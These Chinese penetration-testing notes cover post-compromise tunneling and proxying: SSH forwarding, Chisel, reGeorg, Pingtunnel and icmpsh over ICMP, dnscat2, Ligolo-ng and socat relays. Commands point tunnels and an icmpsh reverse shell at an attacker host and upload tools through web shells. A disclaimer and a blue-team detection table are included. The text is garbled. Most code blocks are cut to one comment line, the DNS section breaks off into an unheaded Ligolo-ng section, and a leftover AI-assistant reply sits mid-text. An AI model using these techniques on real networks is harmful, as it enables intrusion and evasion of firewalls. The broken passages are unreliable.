内网隧道与代理基技术
1 内网隧道技术
解决不出网协议上线的技术,用来绕过网络内有防火墙、检测等措施的限制
- 前提条件
已有控制权限:如通过漏洞(如Shiro反序列化)上传木马,但无法直接通信。
受限环境:安全设备(如防火墙、IDS)限制敏感操作或信息收集。
- 应用场景
CS/MSF无法上线:通信被拦截,无回显。
数据传输不稳定:网络出口受监控。
绕过拦截:防火墙阻止常规流量。
典型案例:通过Shiro漏洞上传木马,但因防火墙限制无法上线CS,需使用隧道技术。
小结:隧道技术不是攻击手段,而是权限获取后的辅助工具,用于数据传输和防火墙绕过。
1.1 常见的内网穿透工具及方法
声明:本文内容仅用于授权渗透测试和安全研究,所有示例基于合法靶机平台。
1.1.1 引言:隧道是内网渗透的命脉
核心场景:攻击机和目标之间隔着防火墙、NAT、甚至多层隔离网络。没有隧道,拿到跳板机也等于拿了个废品。
内网穿透工具很多,SSH 原生隧道、Chisel、Ligolo-ng、Socat,各有适用场景。
1.1.1.1 基础概念:隧道是什么
1 | 典型场景: |
三种技术类型:
| 技术 | 用途 | 代表工具 |
|---|---|---|
| 端口转发 | 访问内网某个特定端口 | SSH -L/-R, socat |
| SOCKS 代理 | 通过代理访问内网任意目标 | SSH -D, Chisel |
| 透明隧道 | 像身处内网一样,直接用任何工具 | Ligolo-ng(最推荐) |
1.1.1.2 SSH 隧道(有 SSH 访问时首选)
SSH 内置三种隧道模式,不需要额外工具,稳定可靠。
1.1.1.2.1 本地端口转发(-L):访问内网特定服务
语法:ssh -L <本地端口>:<目标IP>:<目标端口> user@跳板机
1 | # 场景:通过跳板机访问内网的 Web 管理后台(192.168.1.100:8443) |
1.1.1.2.2 动态端口转发(-D):SOCKS 代理访问多目标
语法:ssh -D <本地端口> user@跳板机
1 | # 建立 SOCKS5 代理 |
1.1.1.2.3 远程端口转发(-R):反向隧道(目标在 NAT 后)
语法:ssh -R <攻击机端口>:<本地IP>:<本地端口> user@攻击机(在目标机上执行)
1 | # 场景:目标机在内网无法直接被访问,建立反向连接 |
1.1.1.2.4 多跳隧道(-J ProxyJump)
1 | # 通过 jump1 再跳到 jump2,最终访问 target |
1.1.1.3 HTTP 隧道,穿越防火墙神器
1.1.1.3.1 Chisel
适用场景:目标只开放了 80/443 等 Web 端口,无法直接建立 SSH 隧道。
Chisel 把流量封装在 HTTP/HTTPS 请求中,伪装成正常 Web 流量穿越防火墙。
1.1.1.3.1.1 安装
1 | # 从 GitHub Releases 下载对应平台版本 |
1.1.1.3.1.2 最常用配置:反向 SOCKS 代理
1 | # 攻击机(服务端)— 先启动 |
1.1.1.3.1.3 特定端口转发
1 | # 攻击机 |
1.1.1.3.1.4 伪装成合法流量
1 | # 走 443 端口 + TLS(最隐蔽) |
1.1.1.3.1.5 只有 Web Shell 时的使用方式
1 | # 通过 Web Shell 上传 chisel 后执行(后台运行) |
1.1.1.3.2 regeorg
利用HTTP/HTTPS协议封装流量,伪装成正常Web请求。
- 步骤:
- 在目标Web服务器上传regeorg的PHP脚本(如
regeorg.php)。 - 本地运行regeorg客户端:
1
python regeorg.py -k <key> -u http://target.com/regeorg.php
- 配置代理(如SOCKS5),通过隧道通信。
- 在目标Web服务器上传regeorg的PHP脚本(如
- 场景:Web服务器暴露,防火墙允许HTTP流量。
1.1.1.4 ICMP隧道
为您补充 1.1.1.4 ICMP隧道 的相关笔记内容。这部分内容采用了与您现有笔记结构一致的Markdown排版,您可以直接复制并插入到该层级下:
1.1.1.4.1 ICMP隧道
将 TCP/UDP 数据报文封装在 ICMP 的 Echo Request (Type 8) 和 Echo Reply (Type 0) 的数据包 payload 中进行传输。由于 ICMP 协议工作在网络层,且许多企业防火墙或边界路由器为了方便排查网络故障,默认会放行 ping 请求,因此该技术常被用于绕过严格的四层端口访问控制策略。
- 场景: 目标网络边界对出站的 TCP/UDP 端口(如 80, 443, 53 等)进行了严格的 ACL 封堵,但允许出站的 ICMP 协议流量(即在目标机器上能够
ping通公网地址)。
1.1.1.4.2 Pingtunnel
Pingtunnel 是一款基于 Go 语言开发的跨平台 ICMP 隧道工具,支持 TCP/UDP 端口转发以及建立 SOCKS5 代理。相比于传统的 ptunnel,它在并发处理能力、稳定性和传输速度上更具优势。
步骤:
- 在攻击者服务器(需具备公网IP)运行服务端。注意:监听和处理底层的 ICMP 数据包需要操作系统层面的 root 权限。
1
sudo ./pingtunnel -type server
在目标主机上运行客户端,将流量封装并指向攻击者服务器,同时在本地开启 SOCKS5 代理(假设攻击者服务器 IP 为
attacker.com):1
sudo ./pingtunnel -type client -l :1080 -s attacker.com -sock5 1
配置代理:通过连接目标主机本地的
1080端口,即可将后续工具流量经由 ICMP 隧道代理进内网。
- 在攻击者服务器(需具备公网IP)运行服务端。注意:监听和处理底层的 ICMP 数据包需要操作系统层面的 root 权限。
1.1.1.5 icmpsh
一款极简的、跨平台的 ICMP 隧道反向 Shell 工具(Reverse Shell)。其在实战中的核心优势在于:目标主机的客户端运行不需要系统管理员权限(仅攻击端需要 root 权限来捕获和伪造 ICMP 报文)。
- 步骤:
- 在攻击者服务器端,首先需要修改内核参数,关闭系统自带的 ICMP 响应(防止内核自动回复目标机的 ping 包从而导致通信序列混乱),随后启动服务端脚本:
1
2sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py <攻击机IP> <目标机公网出口IP> - 在目标主机(通常为 Windows 目标)运行客户端程序,向攻击端发起连接:
1
icmpsh.exe -t <攻击机IP>
- 在攻击者服务器端,首先需要修改内核参数,关闭系统自带的 ICMP 响应(防止内核自动回复目标机的 ping 包从而导致通信序列混乱),随后启动服务端脚本:
1.1.1.6 DNS隧道
1.1.1.6.1 dnscat2
将数据封装在DNS查询中,利用53端口通信。
- 步骤
Ligolo-ng 是目前最常用的内网穿透工具。
它的核心优势:创建一个 TUN 虚拟网卡,直接把内网路由到攻击机。不需要 proxychains,任何工具都可以直接访问内网 IP,就像真正在内网一样。
1.1.1.7.1 安装
1 | # 下载(两个文件) |
1.1.1.7.2 建立隧道(标准流程)
1 | # 第一步:攻击机启动 proxy |
1.1.1.7.3 使用(无需 proxychains!)
1 | # 直接访问内网,完全透明! |
1.1.1.7.4 多层内网(套娃)
1 | # 已经进入第一层内网,继续穿透到第二层(比如 10.10.10.0/24) |
1.1.1.8 Socat:轻量级端口转发
Socat 适合临时、快速的端口转发,特别是目标机上无法运行其他工具时。
1 | # 把本机 8080 转发到内网 192.168.1.100:80 |
配合 Payload 使用:内网机器反弹 shell 无法直接连到攻击机时,让 socat 在跳板机上做中继:
1 | # 跳板机执行 |
1.1.1.9 工具选型速查表
| 场景 | 推荐工具 | 原因 |
|---|---|---|
| 有 SSH 访问权,访问内网某个端口 | ssh -L |
无需额外工具,稳定 |
| 有 SSH 访问权,需访问多个内网目标 | ssh -D+ proxychains |
灵活,SOCKS 代理覆盖广 |
| 目标在 NAT 后无法直连 | ssh -R |
反向隧道建立连接 |
| 目标只开放 Web 端口 | Chisel | HTTP 隧道穿防火墙 |
| 需要访问多个内网目标且不想用 proxychains | Ligolo-ng | 透明代理,最方便 |
| 临时转发单个端口,无需安装工具 | socat | 一行命令搞定 |
| 只有 Web Shell | Chisel(后台) | 轻量,HTTP 传输 |
1.1.1.10 实战场景速查
1.1.1.10.1 场景 1:通过跳板机访问内网 Web 管理后台
1 | ssh -L 8443:192.168.1.100:8443 user@jump -N -f |
1.1.1.10.2 场景 2:内网 RDP 横向移动
1 | ssh -L 13389:192.168.1.200:3389 user@jump -N -f |
1.1.1.10.3 场景 3:只有 Web Shell,需要访问内网多个目标
1 | # 上传 chisel,Web Shell 中执行 |
1.1.1.10.4 场景 4:Pro Labs / 多层内网
1 | # 每层都用 Ligolo-ng agent,攻击机管理多个 session |
1.1.1.10.5 场景 5:Payload 反弹经过跳板机
1 | # 跳板机做流量中继 |
1.1.1.11 蓝队视角:如何检测和防御隧道
| 攻击技术 | 检测 | 防御 |
|---|---|---|
| SSH 隧道 | 监控异常 SSH 连接;检测 AllowTcpForwarding 使用 | 禁用 GatewayPorts;限制端口转发 |
| Chisel(HTTP 隧道) | 监控长连接 HTTP 请求;流量分析异常 | 深度包检测(DPI);HTTP 代理审计 |
| Ligolo-ng | 检测 TUN 接口创建;监控异常进程 | EDR 检测;禁止用户创建 TUN 接口 |
| DNS 隧道 | 监控异常 DNS 查询频率和包大小 | DNS 防火墙;限制直接 DNS 出站 |
1.1.1.12 关键收获
- Ligolo-ng 是多目标内网渗透的首选:透明代理,无需 proxychains,任何工具直接用,大幅提升效率。
- Chisel 是穿防火墙的利器:只要目标出向能连 HTTP/HTTPS,就能建立隧道,适用于绝大多数企业网络。
- SSH -D + proxychains 是最简单的入门配置:有 SSH 访问权时的默认选择,不需要上传任何工具。
2 代理技术
解决网络通讯不通的问题,利用跳板机建立节点后续操作





